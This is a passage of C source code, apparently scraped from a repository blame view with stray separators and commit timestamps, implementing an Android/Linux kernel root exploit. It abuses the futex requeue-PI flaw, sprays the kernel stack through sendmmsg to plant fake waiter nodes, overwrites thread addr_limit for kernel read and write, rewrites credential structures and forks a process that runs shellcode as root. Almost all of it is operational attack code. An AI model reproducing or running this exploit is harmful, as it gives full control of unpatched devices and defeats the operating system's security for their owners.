LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
} else {
|
|
|
|
LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");
|
|
|
|
|
|
|
|
//////////// ROOT CODE HERE /////////////////
|
|
|
|
|
|
|
|
// Fork and install the root shell
|
|
|
|
if(fork() == 0) {
|
|
|
|
LOGD("running as pid %d, tid %d, with uid %d", getpid(), gettid(), getuid());
|
|
|
|
run_shellcode_as_root();
|
|
|
|
exit(0);
|
|
|
|
}
|
|
|
|
|
|
|
|
//////////////////////////////////////////////
|
|
|
|
sleep(3);
|
|
|
|
close(sockfd);
|
|
|
|
send_pipe_msg(ROOT_SUCCESS);
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
i++;
|
|
|
|
}
|
|
|
|
|
|
|
|
// Fix cred_struct and group_info_struct with originals
|
|
|
|
//sleep(3); // be sure nothing is happening before to fix
|
|
|
|
LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");
|
|
|
|
write_pipe((void *)val1, cred_struct_dump_orig, 0x48);
|
|
|
|
sleep(2);
|
|
|
|
LOGD("[SECOND KERNEL HACK] Fixing group info\n");
|
|
|
|
write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);
|
|
|
|
sleep(2);
|
|
|
|
|
|
|
|
// To fix the waiter list we need to know where is the beginning of the list (we hacked it).
|
|
|
|
// To do that we use the leaker thread that has a waiter with prio 3
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);
|
|
|
|
LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
|
|
|
|
read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
|
|
|
|
read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);
|
|
|
|
|
|
|
|
int k = 0;
|
|
|
|
val1 = 0;
|
|
|
|
val2 = 0;
|
|
|
|
pid = 0;
|
|
|
|
|
|
|
|
// Find the waiter in the task struct. We know is a bit after the cred_struct
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");
|
|
|
|
// Parse the task_struct dump in order to find the cred struct pointer
|
|
|
|
// If we have four succesive kernel pointer -> we have the cred struct
|
|
|
|
|
|
|
|
for (i = 0; i < 0x200; i++) {
|
|
|
|
if (task_struct_dump[i] == task_struct_dump[i + 1]) {
|
|
|
|
if (task_struct_dump[i] > 0xc0000000) {
|
|
|
|
if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
|
|
|
|
if (task_struct_dump[i + 2] > 0xc0000000) {
|
|
|
|
if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
|
|
|
|
if (task_struct_dump[i + 4] > 0xc0000000) {
|
|
|
|
if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
|
|
|
|
if (task_struct_dump[i + 6] > 0xc0000000) {
|
|
|
|
LOGD("[SECOND KERNEL HACK] We are at cred\n");
|
|
|
|
|
|
|
|
// We need to find the waiter in the task_struct
|
|
|
|
|
|
|
|
for(k = 0; k<100; k++) {
|
|
|
|
if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {
|
|
|
|
read_pipe((void *) task_struct_dump[k + i], &val1, 4);
|
|
|
|
// Check a pointer pointing to 0x7b (123 = prio 3)
|
|
|
|
//if(val1 == 0x7b) {
|
|
|
|
if(val1 == 0x7c) {
|
|
|
|
target_waiter = (unsigned int) task_struct_dump[k + i];
|
|
|
|
LOGD("Found target_waiter %d %x\n", k + i, (unsigned int) target_waiter);
|
|
|
|
sleep(2);
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if(!target_waiter)
|
|
|
|
stop_for_error();
|
|
|
|
|
|
|
|
// Get the next node, so the prio 6 node
|
|
|
|
LOGD("[SECOND KERNEL HACK] Waiting the thread\n");
|
|
|
|
|
|
|
|
pthread_mutex_lock(&done_kill_lock);
|
|
|
|
|
|
|
|
// Ok now we need to remove
|
|
|
|
int h;
|
|
|
|
for(h = 0; h < remove_counter; h++)
|
|
|
|
remove_remaining_waiter(h);
|
|
|
|
|
|
|
|
if(fix_kernel_waiter_list(target_waiter) == 0)
|
|
|
|
send_pipe_msg(FIX_SUCCESS);
|
|
|
|
else
|
|
|
|
stop_for_error();
|
|
|
|
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");
|
|
|
|
|
|
|
|
// Kill the stack modifier
|
|
|
|
kill(stack_modifier_tid,14);
|
|
|
|
|
|
|
|
// Wait for the prio 4 node going out
|
|
|
|
pthread_cond_wait(&done_kill, &done_kill_lock);
|
|
|
|
|
|
|
|
LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");
|
|
|
|
|
|
|
|
// We fixed everything, so we can leave now
|
|
|
|
pthread_exit(NULL);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/***************************/
|
|
|
|
/**** THREAD FOR WAITERS ***/
|
|
|
|
/***************************/
|
|
|
|
|
|
|
|
void thread_killer(int signum) {
|
|
|
|
|
|
|
|
LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
pthread_cond_signal(&is_thread_awake);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
pthread_exit(NULL);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Add a new waiter in the list with a specific prio.
|
|
|
|
void *make_action_adding_waiter(void *arg) {
|
|
|
|
int prio;
|
|
|
|
struct sigaction act;
|
|
|
|
struct sigaction act3;
|
|
|
|
int ret;
|
|
|
|
|
|
|
|
prio = (int)arg;
|
|
|
|
last_tid = syscall(__NR_gettid);
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_desched_lock);
|
|
|
|
pthread_cond_signal(&is_thread_desched);
|
|
|
|
|
|
|
|
// Handler to hack in the kernel.
|
|
|
|
act.sa_handler = hack_the_kernel;
|
2016-11-06 14:33:24 +00:00
|
|
|
sigemptyset(&act.sa_mask);
|
2016-10-19 05:17:33 +00:00
|
|
|
act.sa_flags = 0;
|
|
|
|
act.sa_restorer = NULL;
|
|
|
|
sigaction(12, &act, NULL);
|
|
|
|
|
|
|
|
// Handler to kill useless threads.
|
|
|
|
act3.sa_handler = thread_killer;
|
2016-11-06 14:33:24 +00:00
|
|
|
sigemptyset(&act3.sa_mask);
|
2016-10-19 05:17:33 +00:00
|
|
|
act3.sa_flags = 0;
|
|
|
|
act3.sa_restorer = NULL;
|
|
|
|
sigaction(14, &act3, NULL);
|
|
|
|
|
|
|
|
setpriority(PRIO_PROCESS, 0, prio);
|
|
|
|
|
|
|
|
pthread_mutex_unlock(&is_thread_desched_lock);
|
|
|
|
|
|
|
|
LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());
|
|
|
|
ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
|
|
|
LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());
|
|
|
|
|
|
|
|
// The firs node that will exit. Kill some other thread
|
|
|
|
if(prio == 11) {
|
|
|
|
LOGD("[MAKE ACTION] Killing prio 11\n");
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
kill(tid_11, 14);
|
|
|
|
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
LOGD("[MAKE ACTION] Killing prio 7\n");
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
kill(pid7, 14);
|
|
|
|
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
LOGD("[MAKE ACTION] All done!\n");
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
pthread_exit(NULL);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
// Last node will exit
|
|
|
|
if(prio == 6) {
|
|
|
|
LOGD("[MAKE ACTION] Prio 6 node is exiting\n");
|
|
|
|
|
|
|
|
// Notify the main that we finished
|
|
|
|
pthread_mutex_lock(&done_lock);
|
|
|
|
pthread_cond_signal(&done);
|
|
|
|
pthread_mutex_unlock(&done_lock);
|
|
|
|
|
|
|
|
pthread_exit(NULL);
|
|
|
|
}
|
|
|
|
|
|
|
|
// Never reached
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Create a new thread to add a new waiter with a prio
|
|
|
|
pid_t wake_actionthread(int prio) {
|
|
|
|
pthread_t th4;
|
|
|
|
pid_t pid;
|
|
|
|
|
|
|
|
LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");
|
|
|
|
|
|
|
|
// Create the thread that will add a new lock.
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_desched_lock);
|
|
|
|
pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);
|
|
|
|
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
|
|
|
|
|
|
|
LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");
|
|
|
|
|
|
|
|
pid = last_tid;
|
|
|
|
|
|
|
|
// Needed to be sure that the new thread is waiting to acquire the lock
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
pthread_mutex_unlock(&is_thread_desched_lock);
|
|
|
|
|
|
|
|
// Return the new thread created
|
|
|
|
return pid;
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// This is the first evil thread.
|
|
|
|
// When the vuln is triggered will use a syscall to modify the kernel stack.
|
|
|
|
void *stack_modifier(void *name)
|
|
|
|
{
|
|
|
|
|
|
|
|
pthread_t l8;
|
|
|
|
int sockfd, ret;
|
|
|
|
struct mmsghdr msgvec[1];
|
|
|
|
struct iovec msg_iov[8];
|
|
|
|
unsigned long databuf[0x20];
|
|
|
|
int i;
|
|
|
|
char line[20];
|
|
|
|
struct sigaction act3;
|
|
|
|
|
|
|
|
stack_modifier_tid = gettid();
|
|
|
|
|
|
|
|
LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());
|
|
|
|
|
|
|
|
setpriority(PRIO_PROCESS , 0, 12);
|
|
|
|
|
|
|
|
// Register an handle for a signal. We will use it to kill this thread later.
|
|
|
|
act3.sa_handler = thread_killer;
|
2016-11-06 14:33:24 +00:00
|
|
|
sigemptyset(&act3.sa_mask);
|
2016-10-19 05:17:33 +00:00
|
|
|
act3.sa_flags = 0;
|
|
|
|
act3.sa_restorer = NULL;
|
|
|
|
sigaction(14, &act3, NULL);
|
|
|
|
|
|
|
|
|
|
|
|
for (i = 0; i < 0x20; i++) {
|
|
|
|
databuf[i] = hacked_node;
|
|
|
|
}
|
|
|
|
|
|
|
|
for (i = 0; i <= 8; i++) {
|
|
|
|
msg_iov[i].iov_base = (void *)hacked_node;
|
|
|
|
msg_iov[i].iov_len = 0x80;
|
|
|
|
}
|
|
|
|
|
|
|
|
//msg_iov[IOVSTACK_TARGET] will be our new waiter.
|
|
|
|
// iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.
|
|
|
|
|
|
|
|
msg_iov[config_iovstack].iov_base = (void *)hacked_node;
|
|
|
|
msg_iov[config_iovstack].iov_len = hacked_node_alt;
|
|
|
|
|
|
|
|
// The new waiter will be something like that:
|
|
|
|
// prio = hacket_node
|
|
|
|
// prio_list->next = hacked_node_alt
|
|
|
|
// prio_list->prev = hacket_node
|
|
|
|
// node_list->next = 0x7d
|
|
|
|
// node_list->prev = hacked_node
|
|
|
|
|
|
|
|
// hacked_node will be somethin < 0 so a negative priority
|
|
|
|
|
|
|
|
msgvec[0].msg_hdr.msg_name = databuf;
|
|
|
|
msgvec[0].msg_hdr.msg_namelen = 0x80;
|
|
|
|
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
|
|
|
msgvec[0].msg_hdr.msg_iovlen = 8;
|
|
|
|
msgvec[0].msg_hdr.msg_control = databuf;
|
|
|
|
msgvec[0].msg_hdr.msg_controllen = 0x20;
|
|
|
|
msgvec[0].msg_hdr.msg_flags = 0;
|
|
|
|
msgvec[0].msg_len = 0;
|
|
|
|
|
|
|
|
sockfd = make_socket();
|
|
|
|
if (sockfd == 0) {
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
|
|
|
|
LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");
|
|
|
|
|
|
|
|
// Lets wait on lock1 to be requeued
|
|
|
|
syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);
|
|
|
|
|
|
|
|
// Ok, at this point the vulnerability shoud be triggered.
|
|
|
|
// We can modify the waiters list in the kernel.
|
|
|
|
|
|
|
|
LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n");
|
|
|
|
LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n");
|
|
|
|
|
|
|
|
// Use now a syscall deep to modify the waiter list.
|
|
|
|
// sendmmsg -> sendmesg -> verify_iovec
|
|
|
|
// verify_iovec will fille the iovstack structure of sendmesg and we know that
|
|
|
|
// iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
|
|
|
if (ret <= 0) {
|
|
|
|
LOGD("[STACK MODIFIER] Sendmmsg Error\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
}
|
|
|
|
LOGD("[STACK MODIFIER] Done\n");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
LOGD("[STACK MODIFIER] Leaving\n");
|
|
|
|
|
2016-11-06 14:33:24 +00:00
|
|
|
return NULL;
|
2016-10-19 05:17:33 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) {
|
|
|
|
|
|
|
|
*((unsigned long *)(hacked_node_alt - 4)) = 0x81; // prio (120 + 9)
|
|
|
|
*((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20; // prio_list->next
|
|
|
|
*((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next
|
|
|
|
|
|
|
|
*((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85; // prio (120 + 13)
|
|
|
|
*((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt; // prio_list->prev
|
|
|
|
*((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev
|
|
|
|
|
|
|
|
// Alternative list
|
|
|
|
|
|
|
|
*((unsigned long *)(hacked_node - 4)) = 0x81;
|
|
|
|
*((unsigned long *) hacked_node) = hacked_node + 0x20;
|
|
|
|
*((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
|
|
|
|
|
|
|
|
*((unsigned long *)(hacked_node + 0x1c)) = 0x85;
|
|
|
|
*((unsigned long *)(hacked_node + 0x24)) = hacked_node;
|
|
|
|
*((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
void reset_hacked_list(unsigned long hacked_node) {
|
|
|
|
|
|
|
|
*((unsigned long *)(hacked_node - 4)) = 0x81;
|
|
|
|
*((unsigned long *) hacked_node) = hacked_node + 0x20;
|
|
|
|
*((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
|
|
|
|
|
|
|
|
*((unsigned long *)(hacked_node + 0x1c)) = 0x85;
|
|
|
|
*((unsigned long *)(hacked_node + 0x24)) = hacked_node;
|
|
|
|
*((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void *trigger(void *arg) {
|
|
|
|
int ret;
|
|
|
|
unsigned long readval;
|
|
|
|
pid_t pid;
|
|
|
|
int i, k;
|
|
|
|
char buf[0x1000];
|
|
|
|
int tid_counter = 0;
|
|
|
|
unsigned int addr, setaddr;
|
|
|
|
|
|
|
|
setpriority(PRIO_PROCESS, 0, 5);
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] Trigger pid %x\n", gettid());
|
|
|
|
|
|
|
|
// Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue
|
|
|
|
syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
|
|
|
|
|
|
|
// Now requeue the stack_modifier thread from lock1 to lock2
|
|
|
|
while (1) {
|
|
|
|
ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);
|
|
|
|
if (ret == 1) {
|
|
|
|
LOGD("[TRIGGER] Stack modifier requeued\n");
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
usleep(10);
|
|
|
|
}
|
|
|
|
|
|
|
|
// Add a couple of waiters in the vulnerable kernel list
|
|
|
|
|
|
|
|
wake_actionthread(3);
|
|
|
|
pid6 = wake_actionthread(6);
|
|
|
|
pid7 = wake_actionthread(7);
|
|
|
|
|
|
|
|
// Now lock2 has this wait list: |6|<->|7|<->|12|
|
|
|
|
|
|
|
|
lock2 = 0;
|
|
|
|
|
|
|
|
// Trigger the vulnerability: requeue the stack modifier from lock2 to lock2
|
|
|
|
syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);
|
|
|
|
|
|
|
|
// If everything went as expected at this point the stack modifier is going tu use a syscall to modify
|
|
|
|
// the wait list for lock2
|
|
|
|
|
|
|
|
// Be sure he finished
|
|
|
|
sleep(2);
|
|
|
|
|
|
|
|
// Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list
|
|
|
|
|
|
|
|
// We can now start the list manipulation creating new node controlled by us
|
|
|
|
// We build two chain: hacked_node and hacked_node_alt
|
|
|
|
// Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev
|
|
|
|
// could be switched.
|
|
|
|
|
|
|
|
create_hacked_list(hacked_node, hacked_node_alt);
|
|
|
|
|
|
|
|
// Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13|
|
|
|
|
// with waiters with prio 9 and 13 in our userspace
|
|
|
|
|
|
|
|
// Lets do something of interesting. Add a waiter and check wich list we are using.
|
|
|
|
|
|
|
|
readval = *((unsigned long *)hacked_node);
|
|
|
|
tid_11 = wake_actionthread(11);
|
|
|
|
|
|
|
|
if (*((unsigned long *)hacked_node) == readval) {
|
|
|
|
LOGD("[TRIGGER] Using hacked_node_alt.\n");
|
|
|
|
hacked_node = hacked_node_alt;
|
|
|
|
}
|
|
|
|
|
|
|
|
// Is it patched?
|
|
|
|
if (*((unsigned long *)hacked_node) == readval) {
|
|
|
|
LOGD("[TRIGGER] Device seems to be patched.\n");
|
|
|
|
send_pipe_msg(ERROR);
|
2016-11-06 14:33:24 +00:00
|
|
|
return 0;
|
2016-10-19 05:17:33 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
// Save the waiter address
|
|
|
|
t11 = *((unsigned long *)hacked_node);
|
|
|
|
|
|
|
|
// Try to find a thred we can hack
|
|
|
|
for(k=0; k<20; k++) {
|
|
|
|
|
|
|
|
is_kernel_writing = (pthread_mutex_t *)malloc(4);
|
|
|
|
pthread_mutex_init(is_kernel_writing, NULL);
|
|
|
|
|
|
|
|
// Reset the hacked list
|
|
|
|
reset_hacked_list(hacked_node);
|
|
|
|
|
|
|
|
// Leak a kernel stack pointer (a new created waiter)
|
|
|
|
pid = wake_actionthread(11);
|
|
|
|
|
|
|
|
// Now we have the pointer of a waiter allocated on the stack. We can calculate the
|
|
|
|
// thread_info struct in the kernel for that last called thread
|
|
|
|
first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] Send a signal to the first evil thread\n");
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
kill(pid, 12);
|
|
|
|
|
|
|
|
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
LOGD("[TRIGGER] First evil thread is now waiting\n");
|
|
|
|
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base);
|
|
|
|
|
|
|
|
// Samsung exploitation
|
|
|
|
if(config_new_samsung) {
|
|
|
|
LOGD("[TRIGGER] Starting samsung...\n");
|
|
|
|
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] mmap done\n");
|
|
|
|
if (addr != 0xbef000) {
|
|
|
|
continue;
|
|
|
|
}
|
|
|
|
|
|
|
|
reset_hacked_list(0xbeffe0);
|
|
|
|
reset_hacked_list(hacked_node);
|
|
|
|
|
|
|
|
*((unsigned long *)0xbf0004) = first_kstack_base + config_offset + 1;
|
|
|
|
*((unsigned long *)hacked_node) = 0xbf0000;
|
|
|
|
|
|
|
|
// Keep trace of the pending waiters
|
|
|
|
remove_pid[remove_counter] = wake_actionthread(10);
|
|
|
|
|
|
|
|
readval = *((unsigned long *)0x00bf0004);
|
|
|
|
|
|
|
|
remove_waiter[remove_counter] = readval;
|
|
|
|
remove_counter++;
|
|
|
|
|
|
|
|
munmap((unsigned long *)0xbef000, 0x2000);
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] First step done: %lx\n", readval);
|
|
|
|
|
|
|
|
readval <<= 8;
|
|
|
|
if (readval < KERNEL_START) {
|
|
|
|
setaddr = (readval - 0x1000) & 0xfffff000;
|
|
|
|
addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
|
|
|
|
|
|
|
if (addr != setaddr) {
|
|
|
|
continue;
|
|
|
|
}
|
|
|
|
|
|
|
|
reset_hacked_list(readval - 0x20);
|
|
|
|
*((unsigned long *)(readval + 4)) = first_kstack_base + config_offset;
|
|
|
|
*((unsigned long *)hacked_node) = readval;
|
|
|
|
|
|
|
|
remove_pid[remove_counter] = wake_actionthread(10);
|
|
|
|
|
|
|
|
readval = *((unsigned long *)(readval + 4));
|
|
|
|
// Save the waiter address
|
|
|
|
remove_waiter[remove_counter] = readval;
|
|
|
|
remove_counter++;
|
|
|
|
|
|
|
|
munmap((unsigned long *)setaddr, 0x2000);
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] Samsung done: %lx\n", readval);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
reset_hacked_list(hacked_node);
|
|
|
|
|
|
|
|
// Use the prev pointer to execute a write in kernel space (the thread addr_limit)
|
|
|
|
*((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8;
|
|
|
|
|
|
|
|
tid_12 = wake_actionthread(12); // Will be in the user space hacked list
|
|
|
|
|
|
|
|
readval = *((unsigned long *)(hacked_node + 0x24));
|
|
|
|
LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval);
|
|
|
|
|
|
|
|
remove_pid[remove_counter] = tid_12;
|
|
|
|
remove_waiter[remove_counter] = readval;
|
|
|
|
remove_counter++;
|
|
|
|
}
|
|
|
|
|
|
|
|
// At this point we have a thread with an addr_limit = readval waiting to write something to us.
|
|
|
|
// Try to create a new thread to be modified by the first one
|
|
|
|
for(i = 0; i < loop_limit; i++) {
|
|
|
|
reset_hacked_list(hacked_node);
|
|
|
|
pid = wake_actionthread(10); // Will be in the user space hacked list
|
|
|
|
|
|
|
|
LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid);
|
|
|
|
// Be sure the first can modify the second one
|
|
|
|
if (*((unsigned long *)hacked_node) < readval) {
|
|
|
|
|
|
|
|
#ifdef DEBUG
|
|
|
|
for(k = 0; k < remove_counter; k++) {
|
|
|
|
LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]);
|
|
|
|
}
|
|
|
|
#endif
|
|
|
|
|
|
|
|
final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
|
|
|
|
LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base);
|
|
|
|
LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node);
|
|
|
|
|
|
|
|
pthread_mutex_lock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
kill(pid, 12);
|
|
|
|
|
|
|
|
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
|
|
|
pthread_mutex_unlock(&is_thread_awake_lock);
|
|
|
|
|
|
|
|
sleep(2);
|
|
|
|
|
|
|
|
reset_hacked_list(hacked_node);
|
|
|
|
// Now we have a thread waiting to write something in the second thread.
|
|
|
|
// The second thread is waiting to receive a signal by the first one
|
|
|
|
|
|
|
|
// Tell the first thread to hack the second one
|
|
|
|
write(HACKS_fdm, buf, 0x1000);
|
|
|
|
|
|
|
|
while (1) {
|
|
|
|
sleep(10);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if(config_force_remove) {
|
|
|
|
// Trace the pending waiters
|
|
|
|
remove_pid[remove_counter] = pid;
|
|
|
|
remove_waiter[remove_counter] = *((unsigned long *)hacked_node);
|
|
|
|
remove_counter++;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
stop_for_error();
|
2016-11-06 14:33:24 +00:00
|
|
|
return NULL;
|
2016-10-19 05:17:33 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int waiter_exploit() {
|
|
|
|
|
|
|
|
pthread_t l1, l2, l3;
|
|
|
|
|
|
|
|
LOGV("uid %d\n", getuid());
|
|
|
|
|
|
|
|
if (config_buf[0] == 'c') {
|
|
|
|
LOGV("no config supplied %s\n", config_buf);
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
config_new_samsung = *(int*)&config_buf[0];
|
|
|
|
config_iovstack = *(int*)&config_buf[4];
|
|
|
|
config_offset = *(int*)&config_buf[8];
|
|
|
|
config_force_remove = *(int*)&config_buf[12];
|
|
|
|
|
|
|
|
pipe(pipe_fd);
|
|
|
|
|
|
|
|
pid_t pipe_pid = fork();
|
|
|
|
if(pipe_pid != 0) {
|
|
|
|
int pipe_server_ret = start_pipe_server();
|
|
|
|
|
|
|
|
int status;
|
|
|
|
waitpid(pipe_pid, &status, 0);
|
|
|
|
return pipe_server_ret;
|
|
|
|
}
|
|
|
|
|
|
|
|
sleep(2);
|
|
|
|
close(pipe_fd[0]);
|
|
|
|
|
|
|
|
// First we create two possible hacked list of waiters.
|
|
|
|
|
|
|
|
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
|
|
|
addr += 0x800;
|
|
|
|
hacked_node = addr;
|
|
|
|
if ((long)addr >= 0) {
|
|
|
|
LOGD("[TOWEL] first mmap failed?\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
|
|
|
addr += 0x800;
|
|
|
|
hacked_node_alt = addr;
|
|
|
|
if (addr > 0x110000) {
|
|
|
|
LOGD("[TOWEL] second mmap failed?\n");
|
|
|
|
send_pipe_msg(ERROR);
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
// Start the socket server we will use to hook inside the sendmmsg syscall
|
|
|
|
|
|
|
|
LOGD("[TOWEL] Creating socket\n");
|
|
|
|
pthread_create(&l1, NULL, accept_socket, NULL);
|
|
|
|
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
LOGD("[TOWEL] Starting exploitation\n");
|
|
|
|
|
|
|
|
pthread_mutex_lock(&done_lock);
|
|
|
|
pthread_create(&l2, NULL, stack_modifier, NULL);
|
|
|
|
pthread_create(&l3, NULL, trigger, NULL);
|
|
|
|
pthread_cond_wait(&done, &done_lock);
|
|
|
|
|
|
|
|
LOGD("[TOWEL] All Done, exiting PID %d\n", getpid());
|
|
|
|
send_pipe_msg(ALL_DONE);
|
|
|
|
sleep(1);
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
|